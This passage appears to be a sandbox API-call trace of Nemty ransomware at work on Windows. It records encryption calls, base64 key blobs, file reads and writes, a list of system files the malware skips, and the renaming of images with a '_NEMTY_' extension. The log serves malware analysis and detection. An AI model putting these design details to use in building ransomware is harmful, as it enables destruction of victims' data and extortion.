lpUsedDefaultChar=0x0) returned 50 [0161.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0161.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340148 | out: hHeap=0x4f90000) returned 1 [0161.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0161.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0161.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345da8, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0161.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400d0 [0161.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0161.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0161.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waning-gibbous_partly-cloudy.png", cchWideChar=50, lpMultiByteStr=0x6345d60, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waning-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 50 [0161.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0161.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63400d0 [0161.923] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0161.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401c8 [0161.923] Sleep (dwMilliseconds=0x5) [0161.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14298530, dwHighDateTime=0x1d561e8)) [0161.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14298530, dwHighDateTime=0x1d561e8)) [0161.934] GetLastError () returned 0x5 [0161.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0161.934] GetLastError () returned 0x5 [0161.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0161.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0161.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0161.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0161.934] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0161.934] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0161.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0161.934] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="mYK3vKyCNN5AKDAoR2nochRt7lSsO4fnTNIjOyKoTmBCCmgZe/637kf0q5Idd5o/\r\n/Q/I2Uqb1u2tOpawuV2hAK5iARhnciUfeKSDnkfidF+sB8lWgCW5GOFi6I2FiIaH\r\nPN7KVhqGnmlRJHkCN+SdlrlB1BmxrTZi2Br0YSCAiUudHZ2IFRGCW5/wUvy/jZSG\r\nslI2yTOHKw1iGKS5YnOzQY3pxjaQYTk4/TNC91FVtXBNtdw0SDFzzajqLlRLCgRL\r\n7WAVrxQvQg/R7BqLNl1AkEyYHupWLSpk/4iD8TRp6TGxpEInNHvvWXYtOEFbPZ1s\r\nqyYV2ynuoyy7hhmMqU8NAQ==\r\n", pcchString=0x653e91c) returned 1 [0161.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0161.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0161.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0161.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0161.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0161.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0161.935] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.935] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0161.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0161.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0161.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0161.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0161.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.008] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.008] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.008] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.017] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.055] CloseHandle (hObject=0xffffffff) returned 0 [0162.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340430 [0162.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0162.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waning-gibbous_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0162.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.055] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8729f188, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8729f188, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b3f099d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22a6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0162.055] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2=".") returned 1 [0162.055] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="..") returned 1 [0162.055] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="...") returned 1 [0162.055] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="windows") returned -1 [0162.055] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="$RECYCLE.BIN") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="rsa") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="NTDETECT.COM") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="ntldr") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="MSDOS.SYS") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="IO.SYS") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="boot.ini") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="boot.ini") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="ntuser.dat") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="desktop.ini") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="CONFIG.SYS") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="RECYCLER") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="BOOTSECT.BAK") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="bootmgr") returned 1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="programdata") returned -1 [0162.056] lstrcmpiW (lpString1="docked_black_moon-waxing-crescent.png", lpString2="appdata") returned 1 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0162.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0162.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0162.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x6345608, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-crescent.png", lpUsedDefaultChar=0x0) returned 37 [0162.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0162.056] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-crescent.png", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0162.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0162.057] WideCharToMultiByte (in: CodePage=0xfde9, 